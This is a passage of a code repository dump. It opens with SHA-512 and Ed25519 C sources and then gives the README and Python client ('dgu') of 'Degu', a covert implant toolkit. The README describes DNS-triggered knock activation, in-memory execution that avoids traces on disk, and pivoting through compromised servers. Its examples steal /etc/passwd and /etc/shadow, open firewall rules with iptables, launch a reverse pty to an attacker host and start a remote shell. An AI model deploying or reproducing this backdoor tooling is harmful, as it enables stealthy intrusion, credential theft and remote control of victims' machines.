218 | int sha512_final(sha512_context * md, unsigned char *out)
219 | {
220 | int i;
221 |
222 | if (md == NULL) return 1;
223 | if (out == NULL) return 1;
224 |
225 | if (md->curlen >= sizeof(md->buf)) {
226 | return 1;
227 | }
228 |
229 | /* increase the length of the message */
230 | md->length += md->curlen * UINT64_C(8);
231 |
232 | /* append the '1' bit */
233 | md->buf[md->curlen++] = (unsigned char)0x80;
234 |
235 | /* if the length is currently above 112 bytes we append zeros
236 | * then compress. Then we can fall back to padding zeros and length
237 | * encoding like normal.
238 | */
239 | if (md->curlen > 112) {
240 | while (md->curlen < 128) {
241 | md->buf[md->curlen++] = (unsigned char)0;
242 | }
243 | sha512_compress(md, md->buf);
244 | md->curlen = 0;
245 | }
246 |
247 | /* pad upto 120 bytes of zeroes
248 | * note: that from 112 to 120 is the 64 MSB of the length. We assume that you won't hash
249 | * > 2^64 bits of data... :-)
250 | */
251 | while (md->curlen < 120) {
252 | md->buf[md->curlen++] = (unsigned char)0;
253 | }
254 |
255 | /* store length */
256 | STORE64H(md->length, md->buf+120);
257 | sha512_compress(md, md->buf);
258 |
259 | /* copy output */
260 | for (i = 0; i < 8; i++) {
261 | STORE64H(md->state[i], out+(8*i));
262 | }
263 |
264 | return 0;
265 | }
266 |
267 | int sha512(const unsigned char *message, size_t message_len, unsigned char *out)
268 | {
269 | sha512_context ctx;
270 | int ret;
271 | if ((ret = sha512_init(&ctx))) return ret;
272 | if ((ret = sha512_update(&ctx, message, message_len))) return ret;
273 | if ((ret = sha512_final(&ctx, out))) return ret;
274 | return 0;
275 | }
276 |
--------------------------------------------------------------------------------
/crypto/sha512.h:
--------------------------------------------------------------------------------
1 | #ifndef SHA512_H
2 | #define SHA512_H
3 |
4 | #include
5 |
6 | #include "fixedint.h"
7 |
8 | /* state */
9 | typedef struct sha512_context_ {
10 | uint64_t length, state[8];
11 | size_t curlen;
12 | unsigned char buf[128];
13 | } sha512_context;
14 |
15 |
16 | int sha512_init(sha512_context * md);
17 | int sha512_final(sha512_context * md, unsigned char *out);
18 | int sha512_update(sha512_context * md, const unsigned char *in, size_t inlen);
19 | int sha512(const unsigned char *message, size_t message_len, unsigned char *out);
20 |
21 | #endif
22 |
--------------------------------------------------------------------------------
/crypto/sign.c:
--------------------------------------------------------------------------------
1 | #include "ed25519.h"
2 | #include "sha512.h"
3 | #include "ge.h"
4 | #include "sc.h"
5 | #include
6 |
7 | void ed25519_sign(unsigned char* signature, const unsigned char* message, size_t message_len, const unsigned char* public_key, const unsigned char* private_key)
8 | {
9 | sha512_context hash;
10 | unsigned char hram[64];
11 | unsigned char r[64];
12 | ge_p3 R;
13 |
14 | sha512_init(&hash);
15 | sha512_update(&hash, private_key + 32, 32);
16 | sha512_update(&hash, message, message_len);
17 | sha512_final(&hash, r);
18 |
19 | sc_reduce(r);
20 | ge_scalarmult_base(&R, r);
21 | ge_p3_tobytes(signature, &R);
22 |
23 | sha512_init(&hash);
24 | sha512_update(&hash, signature, 32);
25 | sha512_update(&hash, public_key, 32);
26 | sha512_update(&hash, message, message_len);
27 | sha512_final(&hash, hram);
28 |
29 | sc_reduce(hram);
30 | sc_muladd(signature + 32, hram, private_key, r);
31 | }
32 |
33 | void ed25519_sign_ref10(unsigned char* signature, const unsigned char* message, size_t message_len, const unsigned char* private_key_ref10)
34 | {
35 | sha512_context hash;
36 | unsigned char hram[64];
37 | unsigned char nonce[64];
38 | unsigned char a[64];
39 | ge_p3 R;
40 |
41 | sha512(private_key_ref10, 32, a);
42 | a[0] &= 248;
43 | a[31] &= 63;
44 | a[31] |= 64;
45 |
46 | sha512_init(&hash);
47 | sha512_update(&hash, a + 32, 32);
48 | sha512_update(&hash, message, message_len);
49 | sha512_final(&hash, nonce);
50 |
51 | memmove(signature + 32, private_key_ref10 + 32, 32);
52 |
53 | sc_reduce(nonce);
54 | ge_scalarmult_base(&R, nonce);
55 | ge_p3_tobytes(signature, &R);
56 |
57 | sha512_init(&hash);
58 | sha512_update(&hash, signature, 64);
59 | sha512_update(&hash, message, message_len);
60 | sha512_final(&hash, hram);
61 |
62 | sc_reduce(hram);
63 | sc_muladd(signature + 32, hram, a, nonce);
64 |
65 | memset(a, 0x00, sizeof(a));
66 | memset(nonce, 0x00, sizeof(nonce));
67 | }
--------------------------------------------------------------------------------
/crypto/verify.c:
--------------------------------------------------------------------------------
1 | #include "ed25519.h"
2 | #include "sha512.h"
3 | #include "ge.h"
4 | #include "sc.h"
5 |
6 | static int consttime_equal(const unsigned char* x, const unsigned char* y)
7 | {
8 | unsigned char r = 0;
9 |
10 | r = x[0] ^ y[0];
11 | #define F(i) r |= x[i] ^ y[i]
12 | F(1);
13 | F(2);
14 | F(3);
15 | F(4);
16 | F(5);
17 | F(6);
18 | F(7);
19 | F(8);
20 | F(9);
21 | F(10);
22 | F(11);
23 | F(12);
24 | F(13);
25 | F(14);
26 | F(15);
27 | F(16);
28 | F(17);
29 | F(18);
30 | F(19);
31 | F(20);
32 | F(21);
33 | F(22);
34 | F(23);
35 | F(24);
36 | F(25);
37 | F(26);
38 | F(27);
39 | F(28);
40 | F(29);
41 | F(30);
42 | F(31);
43 | #undef F
44 |
45 | return !r;
46 | }
47 |
48 | int ed25519_verify(const unsigned char* signature, const unsigned char* message, size_t message_len, const unsigned char* public_key)
49 | {
50 | unsigned char h[64];
51 | unsigned char checker[32];
52 | sha512_context hash;
53 | ge_p3 A;
54 | ge_p2 R;
55 | const int r1 = (signature[63] & 224);
56 | const int r2 = ge_frombytes_negate_vartime(&A, public_key);
57 |
58 | sha512_init(&hash);
59 | sha512_update(&hash, signature, 32);
60 | sha512_update(&hash, public_key, 32);
61 | sha512_update(&hash, message, message_len);
62 | sha512_final(&hash, h);
63 |
64 | sc_reduce(h);
65 | ge_double_scalarmult_vartime(&R, h, &A, signature + 32);
66 | ge_tobytes(checker, &R);
67 |
68 | return r1 == 0 && r2 == 0 && consttime_equal(checker, signature);
69 | }
--------------------------------------------------------------------------------
/degu-client/README.md:
--------------------------------------------------------------------------------
1 | # Degu Documentation
2 |
3 | ## Table of Contents
4 |
5 | - [Degu Documentation](#degu-documentation)
6 | - [Table of Contents](#table-of-contents)
7 | - [Detailed Architecture](#detailed-architecture)
8 | - [Helpers](#helpers)
9 | - [key management](#key-management)
10 | - [Implant (Server Side)](#implant-server-side)
11 | - [Client Library (degu.py)](#client-library-degupy)
12 | - [Communication Protocol](#communication-protocol)
13 | - [Connection Establishment](#connection-establishment)
14 | - [Message Formats](#message-formats)
15 | - [Security and Encryption](#security-and-encryption)
16 | - [Encryption Mechanisms](#encryption-mechanisms)
17 | - [Python API Reference](#python-api-reference)
18 | - [Initialization](#initialization)
19 | - [Basic Communication](#basic-communication)
20 | - [File Operations](#file-operations)
21 | - [Memory Execution](#memory-execution)
22 | - [Advanced Usage - Helpers](#advanced-usage---helpers)
23 | - [Encryption and Data Manipulation](#encryption-and-data-manipulation)
24 | - [Static Utilities](#static-utilities)
25 | - [Obfuscation Techniques](#obfuscation-techniques)
26 | - [Library Loading](#library-loading)
27 | - [Complete Usage Examples](#complete-usage-examples)
28 | - [Connecting to an Implant and Executing Commands](#connecting-to-an-implant-and-executing-commands)
29 | - [Using Helpers for Persistent Connections](#using-helpers-for-persistent-connections)
30 | - [Known Limitations](#known-limitations)
31 |
32 | ## Detailed Architecture
33 |
34 | ## Helpers
35 |
36 | Helpers are the most efficient way to use and chain multiple Degu instances together.
37 | A default helper `degussh` is provided, allowing the use of SSH to pivot and chain servers together.
38 |
39 | After compiling Degu in the /tmp/degu/client/ directory, these components will be available to facilitate secure remote operations and server pivoting :
40 |
41 | | File | Description |
42 | |------|-------------|
43 | | `degussh` | Binary executable that will be loaded and executed in memory on the target system |
44 | | `degussh.py` | Python tool used as SSH ProxyCommand to establish connections through Degu implants |
45 | | `keydegussh` | SSH private key used for authentication when connecting to bounce servers |
46 |
47 |
48 |
49 | The provided Python script reimplements commands to natively use the SSH ControlPath Unix socket.
50 |
51 | This enables efficient server chaining through Degu implants, as shown in the example below:
52 |
53 |
54 | ```bash
55 | /tmp/degu/client $ ssh -oProxyCommand="./degussh.py -i 172.17.0.2 " -i keydegussh -fNM -S ./dock .
56 | [+] knock to 172.17.0.2:53 bind to :29879
57 | [+] DIRECT->172.17.0.2 |░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░| 100%
58 | /tmp/degu/client $ ssh -oProxyCommand="./degussh.py -i 172.17.0.3 -u ./dock " -i keydegussh -fNM -S ./dock2 .
59 | [+] knock to 172.17.0.3:53 using ./dock bind to :2080
60 | [+] ./dock->172.17.0.3 |░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░| 100%
61 | /tmp/degu/client $ ssh -oProxyCommand="./degussh.py -i 172.17.0.4 -u ./dock2 -p 12345 " -i keydegussh -fNM -S ./dock3 .
62 | [+] knock to 172.17.0.4:12345 using ./dock2 bind to :43102
63 | [+] ./dock2->172.17.0.4 |░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░| 100%
64 |
65 | ```
66 |
67 | This creates the following TCP connection chain:
68 |
69 | `attacker -> 172.17.0.2:29879 -> 172.17.0.3:2080 -> 172.17.0.4:43102`
70 |
71 | By leveraging SSH's ControlPath functionality, the script enables seamless pivoting through multiple compromised servers while maintaining secure communication.
72 |
73 |
74 | ## key management
75 |
76 | To build degu first you need to generate new ED25519 key pair.
77 | You can use `./config` utility or the `keygen()` in degu.py library.
78 |
79 | keys generation
80 |
81 | `./config` generate all secrets for a future degu release in `keys.h`:
82 |
83 | - IV and KNOCK_KEY are used to trigger initial communication with degu and for data ciphering after key exchange.
84 | - MASTER_PUBKEY is the public part of ed25519 key it is used by degu to verify signature and make secret exchange with client for encryption
85 | - PRIVATE_KEY is used by client part, you need to pass it in constructor of degu python object
86 |
87 |
88 | ```python
89 | >>> import degu
90 | >>> myheaderfile = degu.degu.keygen()
91 | >>> print(myheaderfile)
92 | #define IV { 0x03,0x7b,0xb6,0x59,0x62,0xf0,0xf5,0x56,0xa6,0x68,0xfc,0xa1,0x97,0xb8,0xbd,0x85}
93 | #define KNOCK_KEY { 0xc9,0xd5,0x52,0x70,0xd1,0x28,0xae,0xcd,0x96,0xda,0xa6,0x5c,0x57,0xf4,0x27,0x92,0xb7,0x65,0x3f,0xd3,0xc5,0x60,0x68,0x05,0x1f,0x71,0xed,0x8d,0xa9,0x3e,0x38,0x58}
94 | #define MASTER_PUBKEY { 0x58,0xe4,0x37,0x0f,0x17,0x5f,0x3f,0xd7,0x07,0x3d,0xd0,0x77,0xbe,0x86,0x9a,0x60,0x34,0x80,0xff,0xae,0xcc,0xf2,0xa1,0x1d,0x60,0xff,0x76,0x44,0xfc,0x26,0x9d,0x06}
95 |
96 | // PRIVATE_KEY="f04860177b7bcb3a4b9aaaa052fbd9218d6f0117bb0c9c7a02905809d1a0747ccc5b728445811ed1222ed1e024042c37b2164b494bb77f867d54b63f29cb62e1"
97 |
98 | ```
99 | you can also directly call the C function keygen in degu.so library with a filename to generate as parameter (you can discard secret1 and secret2 variables that are tests on ECDH)
100 |
101 | ```python
102 | >>> import ctypes
103 | >>> mydegu = ctypes.CDLL("../degu.so")
104 | >>> mydegu.keygen(b"/tmp/out")
105 | 0
106 | >>>
107 | [1]+ Stopped python
108 | $ cat /tmp/out
109 | pub="63181b1acc84276954cd80be5afb0c95de7b1b7c9fb3c4e3b8e364a85f890116"
110 | priv="5837122bd526a2e5d64ef89aca78d80ac4e0b4ef4d1d76a6ddb18bdd17856a6911602bdebf237a361ab796518038d5aef88b0aebdc3c1523407f0ab62e457420"
111 | iv="4e6e4e04de107ae5790c5bfe61ce52e5"
112 | knock="79abc02eeb0bcf41c1a1e6f8491eb0b3cedce7786338cc88955f4cf76fa79f52"
113 | ```
114 |
115 | `dgu` client script generate keys too
116 |
117 | ```bash
118 | $ ./dgu keygen
119 | #define IV { 0x3c,0x65,0x64,0x22,0x64,0x11,0x6f,0xc8,0x68,0xfd,0xa9,0x52,0xc6,0x7b,0x15,0xd1}
120 | #define KNOCK_KEY { 0xf9,0x7e,0x46,0x46,0xaa,0xd9,0xaa,0x96,0xfb,0xba,0x81,0x70,0x51,0xc3,0x98,0x1e,0x74,0xd5,0x7c,0x28,0x09,0x7f,0xbd,0x52,0xd4,0xdf,0x32,0x90,0xfe,0x94,0xa9,0x36}
121 | #define MASTER_PUBKEY { 0x60,0x88,0xdd,0xfc,0xee,0x3c,0x21,0xf5,0xb6,0x69,0x13,0xa9,0xf8,0xa7,0xc9,0xb9,0x50,0x25,0x14,0xfe,0x18,0x44,0x5d,0xea,0xad,0x25,0x55,0x08,0x60,0x60,0x89,0xa0}
122 |
123 | // PRIVATE_KEY="c8ecf68f5fad5fc8b9232548ff38bdbb81aa13d3d6cab322aaf2037802d3554b87755b4056bd4b5f4bc9219cc1615bc59afe2e69fbbd6cf633d8f9f74674579e"
124 |
125 | ```
126 | The output needs to be piped into **keys.h** file at root of degu project
127 |
128 | keys recovery
129 |
130 | If you lost the knock and public key you can still recover it by calling python function `getpub()`
131 |
132 | ```python
133 | >>> import degu
134 | >>> degu.degu.getpub()
135 | #define IV { 0x3c,0x65,0x64,0x22,0x64,0x11,0x6f,0xc8,0x68,0xfd,0xa9,0x52,0xc6,0x7b,0x15,0xd1}
136 | #define KNOCK_KEY { 0xf9,0x7e,0x46,0x46,0xaa,0xd9,0xaa,0x96,0xfb,0xba,0x81,0x70,0x51,0xc3,0x98,0x1e,0x74,0xd5,0x7c,0x28,0x09,0x7f,0xbd,0x52,0xd4,0xdf,0x32,0x90,0xfe,0x94,0xa9,0x36}
137 | #define MASTER_PUBKEY { 0x60,0x88,0xdd,0xfc,0xee,0x3c,0x21,0xf5,0xb6,0x69,0x13,0xa9,0xf8,0xa7,0xc9,0xb9,0x50,0x25,0x14,0xfe,0x18,0x44,0x5d,0xea,0xad,0x25,0x55,0x08,0x60,0x60,0x89,0xa0}
138 | ```
139 | By calling directly degu.so function `xpub()`, it outputs the file on stdout
140 | ```python
141 | >>> import ctypes
142 | >>> d = ctypes.CDLL("../degu.so")
143 | >>> d.xpub()
144 | #define IV {0x3c,0x65,0x64,0x22,0x64,0x11,0x6f,0xc8,0x68,0xfd,0xa9,0x52,0xc6,0x7b,0x15,0xd1}
145 | #define KNOCK_KEY {0xf9,0x7e,0x46,0x46,0xaa,0xd9,0xaa,0x96,0xfb,0xba,0x81,0x70,0x51,0xc3,0x98,0x1e,0x74,0xd5,0x7c,0x28,0x09,0x7f,0xbd,0x52,0xd4,0xdf,0x32,0x90,0xfe,0x94,0xa9,0x36}
146 | #define MASTER_PUBKEY {0x60,0x88,0xdd,0xfc,0xee,0x3c,0x21,0xf5,0xb6,0x69,0x13,0xa9,0xf8,0xa7,0xc9,0xb9,0x50,0x25,0x14,0xfe,0x18,0x44,0x5d,0xea,0xad,0x25,0x55,0x08,0x60,0x60,0x89,0xa0}
147 | 6
148 | >>>
149 | ```
150 |
151 | Or you can just use the client script to recover pub keys
152 |
153 | ```bash
154 | $ ./dgu getpub
155 | #define IV { 0x3c,0x65,0x64,0x22,0x64,0x11,0x6f,0xc8,0x68,0xfd,0xa9,0x52,0xc6,0x7b,0x15,0xd1}
156 | #define KNOCK_KEY { 0xf9,0x7e,0x46,0x46,0xaa,0xd9,0xaa,0x96,0xfb,0xba,0x81,0x70,0x51,0xc3,0x98,0x1e,0x74,0xd5,0x7c,0x28,0x09,0x7f,0xbd,0x52,0xd4,0xdf,0x32,0x90,0xfe,0x94,0xa9,0x36}
157 | #define MASTER_PUBKEY { 0x60,0x88,0xdd,0xfc,0xee,0x3c,0x21,0xf5,0xb6,0x69,0x13,0xa9,0xf8,0xa7,0xc9,0xb9,0x50,0x25,0x14,0xfe,0x18,0x44,0x5d,0xea,0xad,0x25,0x55,0x08,0x60,0x60,0x89,0xa0}
158 | ```
159 |
160 | ### Implant (Server Side)
161 |
162 | The Degu implant can operate in two different modes:
163 | 1. **Passive Mode**: Monitors DNS traffic to detect commands
164 | 2. **Active Mode**: Listens on a specific UDP port to receive instructions
165 |
166 | The implant activates after receiving a special "knock" message that triggers either:
167 | - Opening a TCP port to accept incoming connections (bind mode)
168 | - Establishing an outgoing TCP connection to a specified host and port (connect-back mode)
169 |
170 | ### Client Library (degu.py)
171 |
172 | The client library provides a Python interface for interacting with the remote implant. It handles:
173 | - Generation and management of cryptographic keys
174 | - Creation and encryption of messages
175 | - Sending commands to the implant
176 | - Receiving and processing responses
177 |
178 | ## Communication Protocol
179 |
180 | ### Connection Establishment
181 |
182 | 1. The client sends an encrypted UDP "knock" to the implant (on port 53 by default or a configurable port)
183 | 2. The implant validates the message and activates (in bind or connect-back mode)
184 | 3. A TCP connection is established for data exchange
185 | 4. Session keys are exchanged to secure the communication
186 |
187 | ### Message Formats
188 |
189 | The exchanged messages follow specific formats depending on the operation type:
190 |
191 | | Operation Code | Byte Value | Description |
192 | |----------------|------------|-------------|
193 | | DEGU_EXE_UL | ">" | File upload to the implant |
197 |
198 | ## Security and Encryption
199 |
200 | ### Encryption Mechanisms
201 |
202 | Degu uses multiple security layers:
203 | 1. **AES Encryption** for communications (with custom IV)
204 | 2. **ED25519 Signatures** to authenticate commands
205 | 3. **ECDH Key Exchange** to establish secure session keys
206 |
207 |
208 | ## Python API Reference
209 |
210 | ### Initialization
211 | ```python
212 | def __init__(self, host: str, priv: str=PRIV, kport: int=53) -> None
213 | ```
214 | - **host**: IP address or hostname of the implant
215 | - **priv**: Private key (hexadecimal format)
216 | - **kport**: UDP port for the knock (53 by default for root implants)
217 |
218 | ### Basic Communication
219 | ```python
220 | def knock(self, data: str) -> bool
221 | ```
222 | Sends a knock signal to the implant to activate a connection.
223 | - **data**: Format "ip:port" for connect-back or ":port" for bind
224 | - **Returns**: True if the knock was sent, False otherwise
225 |
226 | ```python
227 | def ghost_exec(self, mycmd: str) -> None
228 | ```
229 | Executes a system command on the implant without waiting for a response.
230 | - **mycmd**: Shell command to execute (limit of 1300 characters)
231 |
232 | ### File Operations
233 | ```python
234 | def download(self, path: str) -> bytes
235 | ```
236 | Downloads a file from the implant in bind mode.
237 | - **path**: File path on the implant
238 | - **Returns**: File content or None in case of error
239 |
240 | ```python
241 | def rdownload(self, path: str, lport: int, timeout: int=5) -> bytes
242 | ```
243 | Downloads a file from the implant in connect-back mode.
244 | - **path**: File path on the implant
245 | - **lport**: Local listening port
246 | - **timeout**: Timeout in seconds
247 | - **Returns**: File content or None in case of error
248 |
249 | ```python
250 | def upload(self, file: str, path: str) -> int
251 | ```
252 | Uploads a file to the implant in bind mode.
253 | - **file**: Path of the local file to send
254 | - **path**: Destination path on the implant
255 | - **Returns**: Size of sent data or None in case of error
256 |
257 | ```python
258 | def rupload(self, file: str, path: str, lport: int, timeout: int=5) -> int
259 | ```
260 | Uploads a file to the implant in connect-back mode.
261 | - **file**: Path of the local file to send
262 | - **path**: Destination path on the implant
263 | - **lport**: Local listening port
264 | - **timeout**: Timeout in seconds
265 | - **Returns**: Size of sent data or None in case of error
266 |
267 | ### Memory Execution
268 | ```python
269 | def mem_exec(self, bin: str, param: str, memfd: bool=False) -> None
270 | ```
271 | Executes a binary in memory on the implant in bind mode.
272 | - **bin**: Path of the local binary to execute
273 | - **param**: Arguments for the binary (including the program name in args[0])
274 | - **memfd**: Uses memfd instead of ulexec if True
275 |
276 | ```python
277 | def rmem_exec(self, bin: str, param: str, lport: int, timeout: int=5, memfd: bool=False) -> None
278 | ```
279 | Executes a binary in memory on the implant in connect-back mode.
280 | - **bin**: Path of the local binary to execute
281 | - **param**: Arguments for the binary (including the program name in args[0])
282 | - **lport**: Local listening port
283 | - **timeout**: Timeout in seconds
284 | - **memfd**: Uses memfd instead of ulexec if True
285 |
286 | ### Advanced Usage - Helpers
287 | ```python
288 | def helper(self, bin: str, param: str, memfd: bool=False) -> socket.socket
289 | ```
290 | Executes a binary in memory and returns the socket for reuse (bind mode).
291 | - **bin**: Path of the helper binary to use
292 | - **param**: Arguments for the binary
293 | - **memfd**: Uses memfd instead of ulexec if True
294 | - **Returns**: Open socket for communication with the remote process
295 |
296 | ```python
297 | def rhelper(self, bin: str, param: str, lport: int, timeout: int=5, memfd: bool=False) -> socket.socket
298 | ```
299 | Executes a binary in memory and returns the socket for reuse (connect-back mode).
300 | - **bin**: Path of the helper binary to use
301 | - **param**: Arguments for the binary
302 | - **lport**: Local listening port
303 | - **timeout**: Timeout in seconds
304 | - **memfd**: Uses memfd instead of ulexec if True
305 | - **Returns**: Open socket for communication with the remote process
306 |
307 | ### Encryption and Data Manipulation
308 | ```python
309 | def xbuf(self, data: bytes) -> bytes
310 | ```
311 | Encrypts/decrypts data with the session context.
312 | - **data**: Data to encrypt/decrypt
313 | - **Returns**: Encrypted/decrypted data
314 |
315 | ```python
316 | def xcrypt_knock(self, data: bytes) -> bytes
317 | ```
318 | Encrypts/decrypts a knock message with the knock key.
319 | - **data**: Knock data to encrypt/decrypt
320 | - **Returns**: Encrypted/decrypted data
321 |
322 | ```python
323 | def sign_msg(self, data: bytes) -> bytes
324 | ```
325 | Signs data with the private key.
326 | - **data**: Data to sign
327 | - **Returns**: Signature (64 bytes)
328 |
329 | ### Static Utilities
330 | ```python
331 | @staticmethod
332 | def keygen() -> str
333 | ```
334 | Generates a new ED25519 key pair and associated values.
335 | - **Returns**: Formatted content for insertion into keys.h
336 |
337 | ```python
338 | @staticmethod
339 | def getpub() -> None
340 | ```
341 | Displays Degu internal information (public keys and IV).
342 |
343 | ## Obfuscation Techniques
344 |
345 | ### Library Loading
346 | The degu.so library is embedded as base64-encoded and compressed data in the Python code.
347 |
348 | It is extracted and loaded into memory at runtime via `memfd_create` or a temporary file, which avoids leaving traces on disk.
349 |
350 | ## Complete Usage Examples
351 |
352 | ### Connecting to an Implant and Executing Commands
353 | ```python
354 | import degu
355 | import time
356 |
357 | # Initialize connection
358 | d = degu.degu("192.168.0.10")
359 |
360 | # Execute command without response
361 | d.ghost_exec("iptables -P INPUT ACCEPT")
362 |
363 | # Open a port on the implant
364 | d.knock(":4444")
365 | time.sleep(2) # Wait for activation
366 |
367 | # Download a file
368 | content = d.download("/etc/passwd")
369 | print(content)
370 |
371 | # Upload a file
372 | d.upload("/local/path/file.txt", "/remote/path/file.txt")
373 |
374 | # Execute a binary in memory
375 | d.mem_exec("./my_binary", "my_binary arg1 arg2")
376 |
377 | # Connect-back - Listen on local port 5555
378 | d.knock("192.168.0.20:5555") # Client IP and port
379 | time.sleep(2)
380 | result = d.rdownload("/etc/shadow", 5555)
381 | ```
382 |
383 | ### Using Helpers for Persistent Connections
384 | ```python
385 | # Execute a shell via a helper
386 | socket = d.helper("./helper_shell", "shell")
387 |
388 | # Interactive communication with the shell
389 | socket.send(b"ls -la\n")
390 | response = socket.recv(4096)
391 | print(response)
392 |
393 | # Close the connection
394 | socket.close()
395 | ```
396 |
397 | ## Known Limitations
398 |
399 | 1. Maximum size of ghost_exec commands is limited to 1300 characters
400 | 2. Operations are sensitive to network issues (configurable timeouts)
401 | 3. Userland execution of binaries requires the binary to be statically linked
402 | 4. It does not maintain persistence after system reboot
--------------------------------------------------------------------------------
/degu-client/dgu:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | import sys
3 | import docopt
4 | import logging
5 | import time
6 | from multiprocessing.pool import ThreadPool
7 | import degu
8 |
9 | PRIVATE_KEY=degu.PRIV
10 |
11 | __doc__="""
12 |
13 | Usage:
14 | dgu bind read
15 | dgu bind download
16 | dgu bind upload
17 | dgu bind exe
18 | dgu cb read
19 | dgu cb download
20 | dgu cb upload
21 | dgu cb exe
22 | dgu ghost
23 | dgu keygen
24 | dgu getpub
25 |
26 | Examples:
27 |
28 | Upload local /tmp/dd file to remote /tmp/upped on degu infected
29 | host 192.168.0.49, asking him to open 12345 for bind connect :
30 |
31 | $ dgu bind 192.168.0.49 12345 upload /tmp/dd /tmp/upped
32 | [ INFO 14:11.57][degu ]: trying remote bind on 192.168.0.49:12345
33 | [ INFO 14:11.59][degu ]: uploaded /tmp/dd on 192.168.0.49:12345:/tmp/upped
34 |
35 | Read remote /etc/passwd file, asking degu to wait on port 9991 for connection :
36 |
37 | $ dgu bind 192.168.0.49 9991 read /etc/passwd
38 | [ INFO 14:11.15][degu ]: trying remote bind on 192.168.0.49:9991
39 | [ INFO 14:11.17][degu ]: downloading b'/etc/passwd'
40 | root:x:0:0:root:/root:/bin/bash
41 | daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
42 | ...
43 |
44 | Execute reverse pty on lhost 192.168.0.15:11111 using cb ( don't forget arg0 !)
45 | on attacker console :
46 |
47 | $ dgu bind 192.168.0.49 12311 exe helpers/cb "MYPROC 192.168.0.15 11111"
48 | [ INFO 14:51.00][degu ]: trying remote bind on 192.168.0.49:12311
49 | [ INFO 14:51.03][degu ]: send bin ok
50 | [ INFO 14:51.03][degu ]: launch exe helpers/cb on 192.168.0.49
51 |
52 | Execute over unfiltered dns
53 |
54 | $ dgu ghost 192.168.0.49 "touch /tmp/pwneeee"
55 | [ INFO 18:58.45][degu ]: ghost executing b'touch /tmp/pwneeee'
56 | [ DEBUG 18:58.45][degu ]: executing : b'touch /tmp/pwneeee'
57 |
58 | Generate new keys.h
59 |
60 | $ ./dgu keygen
61 | #define IV { 0x78,0xc5,0x49,0x18,0xa5,0x6f,0x92,0x6a,0x62,0x21,0x47,0x5b,0xf0,0x55,0xa8,0xf0}
62 | #define KNOCK_KEY { 0x21,0x5f,0xad,0x87,0xe6,0xc0,0x4e,0x3a,0x3e,0x2b,0x96,0x2b,0x2d,0xb9,0x85,0x09,0xbc,0xf9,0xf2,0xd4,0xaf,0xb0,0xee,0x6b,0x58,0xad,0x75,0xbe,0xd5,0x7a,0xd0,0x39}
63 | #define MASTER_PUBKEY { 0xc1,0xad,0x6c,0x7e,0xd6,0xe4,0x6c,0x86,0x69,0xfe,0xc2,0x34,0xa7,0x52,0xa0,0xac,0x63,0x01,0xeb,0xc3,0x83,0x70,0x08,0x56,0xbe,0x54,0x30,0x34,0x68,0x69,0xcf,0x54}
64 |
65 | // PRIVATE_KEY="2831ff7a13ed00ff1680dcf39dc8669777e269b00862d6160cc4e98ac695276e8c155b1f721e07e400a19b5999e351f0002263d103b3cffebf7feb8c72974897"
66 |
67 | Recover pub key from private key
68 |
69 | $ ./dgu getpub 2831ff7a13ed00ff1680dcf39dc8669777e269b00862d6160cc4e98ac695276e8c155b1f721e07e400a19b5999e351f0002263d103b3cffebf7feb8c72974897
70 | #define MASTER_PUBKEY {0xc1,0xad,0x6c,0x7e,0xd6,0xe4,0x6c,0x86,0x69,0xfe,0xc2,0x34,0xa7,0x52,0xa0,0xac,0x63,0x01,0xeb,0xc3,0x83,0x70,0x08,0x56,0xbe,0x54,0x30,0x34,0x68,0x69,0xcf,0x54};
71 | // pub= c1ad6c7ed6e46c8669fec234a752a0ac6301ebc383700856be5430346869cf54
72 |
73 | """
74 |
75 |
76 | class LogFmt(logging.Formatter):
77 | """ class for log formating """
78 |
79 | def __init__(self):
80 | logging.Formatter.__init__(self)
81 |
82 | def format_time(self):
83 | """ format time """
84 | return time.strftime("%H:%M.%S")
85 |
86 | def _l(self,level):
87 | clevel = {"DEBUG" : ("\033[0;36m","\033[1;36m"),
88 | "INFO" : ("\033[0;37m","\033[1;37m"),
89 | "WARNING" : ("\033[0;31m","\033[1;31m"),
90 | "CRITICAL" : ("\033[0;31m","\033[1;31m"),
91 | "ERROR" : ("\033[0;31m","\033[1;31m"),
92 | }
93 | return clevel[level]
94 |
95 | def format(self,record):
96 | header = self._l(record.levelname)[0] + "[" + self._l(record.levelname)[1] + "%8s"%record.levelname \
97 | + self._l(record.levelname)[1] + " " + self.format_time() + "][%-5s]: " % record.name + "\033[0m"
98 | return header + "\033[0m" + record.msg
99 |
100 | LEVEL = logging.DEBUG
101 | log = logging.getLogger('degu')
102 | log.setLevel(LEVEL)
103 | ch = logging.StreamHandler()
104 | ch.setFormatter(LogFmt())
105 | log.addHandler(ch)
106 |
107 | if __name__ == "__main__":
108 | args = docopt.docopt(__doc__)
109 |
110 | if args['read'] or args['download']:
111 | if args['bind']:
112 | d = degu.degu(args[''],priv = PRIVATE_KEY)
113 | if not d.knock( ':' + args['']):
114 | log.error("knock failed")
115 | sys.exit()
116 | time.sleep(2) # waiting for port to come up on degu
117 | fil = d.download(args[''])
118 | if not fil:
119 | log.error("no content downloaded")
120 | sys.exit()
121 |
122 | if args['read']:
123 | if fil:
124 | print(fil.decode("ascii"))
125 | else:
126 | try:
127 | f = open(args[''],"wb")
128 | f.write(fil)
129 | f.close()
130 | d.log.info("write %i bytes on %s "%(len(fil),args['']))
131 | except Exception as e:
132 | d.log.error("unable to create %s : %s" % (args[''],e))
133 | del d
134 | if args['cb']:
135 | d = degu.degu(args[''],priv = PRIVATE_KEY)
136 | pool = ThreadPool(processes=1)
137 | async_result = pool.apply_async(d.rdownload, (args[''],args['']))
138 |
139 | if not d.knock( '%s:%s' % ( args[''] , args[''])):
140 | log.error("knock failed")
141 | sys.exit()
142 |
143 | fil = None
144 | try:
145 | fil = async_result.get()
146 | except TimeoutError as e:
147 | log.error(f"timeout reached : {e}")
148 | if fil :
149 | if args['read']:
150 | print(fil.decode("ascii"))
151 | else:
152 | try:
153 | f = open(args[''],"wb")
154 | f.write(fil)
155 | f.close()
156 | d.log.info("write %i bytes on %s "%(len(fil),args['']))
157 | except Exception as e:
158 | d.log.error("unable to create %s : %s" % (args[''],e))
159 | del d
160 |
161 | if args['upload']:
162 | if args['bind']:
163 | d = degu.degu(args[''],priv = PRIVATE_KEY)
